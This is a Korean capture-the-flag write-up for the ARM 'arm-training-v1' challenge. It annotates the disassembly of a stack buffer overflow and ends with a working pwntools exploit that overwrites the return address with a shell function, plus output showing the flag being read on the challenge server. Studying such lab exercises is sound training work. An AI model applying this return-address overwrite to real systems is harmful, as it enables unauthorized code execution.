UPDATE
2024.06.04
각 함수에 있는 어셈블리, 스택 프레임 형성과정 (프롤로그 / 에필로그), 레지스터 사용 용도 내용 추가
=> Analysis 항목 참고!
문제 설명
셸을 획득하여 /flag
를 읽어주세요!
checksec
[*] '/home/ubuntu/Documents/CTF/arm-training-v1/arm_training-v1' Arch: arm-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x10000)
Decompiled-src
main
int __cdecl main(int argc, const char **argv, const char **envp) { char buf[20]; // [sp+4h] [bp-18h] BYREF init(argc, argv, envp); read(0, buf, 200u); return 0; }
20바이트 할당된 buf 변수에 200만큼이나 넘쳐서 입력받으므로
버퍼 오버플로우가 발생한다.
Analysis
코드
int main() {
어셈블러
0x00010574 <+0>: push {r11, lr}
설명
프레임 포인터를 의미하는 r11 레지스터 값과 main 이전 함수로 되돌아갈 복귀 주소가 담겨있는 lr 레지스터 값들을 스택에 푸시한다.
이는 나중에 main 함수가 종료될때 복원하는데 사용된다.
어셈블러
0x00010578 <+4>: add r11, sp, #4
설명
스택 포인터 sp 값에 4를 더한 값이 r11 레지스터 값으로 지정된다.
이로써 r11 레지스터를 현재 main 함수의 프레임 포인터로 새로 지정한다.
어셈블러
0x0001057c <+8>: sub sp, sp, #24
설명
현재 main 함수의 지역 변수와 임시 데이터를 저장할 공간을 스택에 할당시키기 위해
스택 포인터 sp 값을 -24만큼 감소시킨다.
코드 / 어셈블러
init();
0x00010580 <+12>: bl 0x104f4 <init>
BL init 어셈블러 명령을 통해 init 함수를 호출하고 다시 복귀한다.
(init 함수는 별로 중요하지 않아 생략하겠습니다)
코드
char buf[20];
어셈블러
0x00010584 <+16>: sub r3, r11, #24
설명
현재 main 함수의 프레임 포인터인 r11 레지스터를 기점으로
-24 만큼 떨어진 지점을 r3값으로 지정한다.
이는 buf 지역변수가 20만큼 크기를 차지할 것을 의미한다.
코드
read(0, buf, 200u);
어셈블러
0x00010588 <+20>: mov r2, #200 ; 0xc8 0x0001058c <+24>: mov r1, r3 0x00010590 <+28>: mov r0, #0 0x00010594 <+32>: bl 0x103c0 <read@plt>
설명
read 함수에 들어갈 각 매개변수는 r0, r1, r2 레지스터를 통해 지정한다.
r0(fd)는 stdin을 의미하는 0,
r1(buf)는 20 크기의 buf 변수 주소,
r2(nbytes)는 200이 들어간다.
그리고 BL 명령어를 통해 read 함수를 호출하고 복귀한다.
코드
return 0;
어셈블러
0x00010598 <+36>: mov r3, #0 0x0001059c <+40>: mov r0, r3
설명
R0 레지스터값은 함수의 리턴값으로 사용되기에
0을 반환하도록 되어있다.
코드
}
어셈블러
0x000105a0 <+44>: sub sp, r11, #4
설명
스택 포인터 sp를 r11 – 4의 값으로 지정하여,
main 함수 호출 전의 스택 포인터의 위치로 되돌린다.
어셈블러
0x000105a4 <+48>: pop {r11, pc}
설명
저장된 스택에서 main 이전 함수의 프레임 포인터 주소와
main 함수 호출후 복귀할 링크 레지스터 값이
각각 r11, pc 값으로 지정하여 main 이전 함수 호출의 상태를 복원한다.
또, sp 스택 포인터는 pop되어 +8만큼 증가하게 된다.
Solution
이해한 풀이법
read 함수에서 사용되는 buf 매개변수는 r11-20에 위치해있다.
main()’s RET이 저장된 위치는 r11+4에 위치해있으므로,
24바이트만큼 더미로 AAAA…를 채우고
shell 함수 주소를 덮어쓰면 된다.
이전 풀이법
gdb-peda$ b *0x00010598 Breakpoint 1 at 0x10598 gdb-peda$ c Continuing. Breakpoint 1, 0x00010598 in main () gdb-peda$ info reg sp sp 0xffbb9320 0xffbb9320 gdb-peda$ x/40wx 0xffbb9320 0xffbb9320: 0xf6498d58 0x41414141 0x41414141 0x41414141 0xffbb9330: 0x41414141 0x41414141 0x41414141 0xf633d7d7 0xffbb9340: 0xf643e000 0x00010574 0x00000001 0xffbb94b4 0xffbb9350: 0x107bd15b 0x19f395b6 0xf643e000 0x00000001 0xffbb9360: 0x00020f14 0xf6499058 0x00010574 0xf6498d58 0xffbb9370: 0x00000000 0x00020f14 0x00000000 0x00000000 0xffbb9380: 0x00000000 0x00000000 0x00000000 0x00000000 0xffbb9390: 0x00000000 0x00000000 0x00000000 0x00000000 0xffbb93a0: 0x00000000 0x00000000 0x00000000 0x00000000 0xffbb93b0: 0x00000000 0x00000000 0xf64995dc 0x00000000 gdb-peda$ x/a 0xf633d7d7 0xf633d7d7 <__libc_start_call_main+82>: 0x3bff15f0
ARM에서는 스택 구조가 다르고 아직 완전히 이해하지 못한 상태여서
어떻게 풀어볼까 했는데,
우선은 정해진 24바이트만큼 A를 채우고 디버깅해보았다.
확인해봤을때 0x4141… 끝에 0xf633d7d7 주소가 있었고,
그 주소는 main 함수의 복귀 주소인 main’s RET 주소인것을 알 수 있었다.
이 복귀 주소를 shell()
주소로 덮어쓰면 쉘을 획득할 수 있었다.
solve.py
from pwn import * #context.log_level = 'debug' context(arch='arm',os='linux') warnings.filterwarnings('ignore') p = remote("host3.dreamhack.games", 15373) payload = b"" payload += b"A"*24 payload += p32(0x10558) p.send(payload) p.interactive()
Result
ubuntu@instance-20230517-1532:~/Documents/CTF/arm-training-v1$ python3 solve3.py [+] Opening connection to host3.dreamhack.games on port 15373: Done [*] Switching to interactive mode $ cat /flag DH{045F0E06DBEB13E430C6F7076D0F65DACF905015CA592FD7553441DF481ABA65} $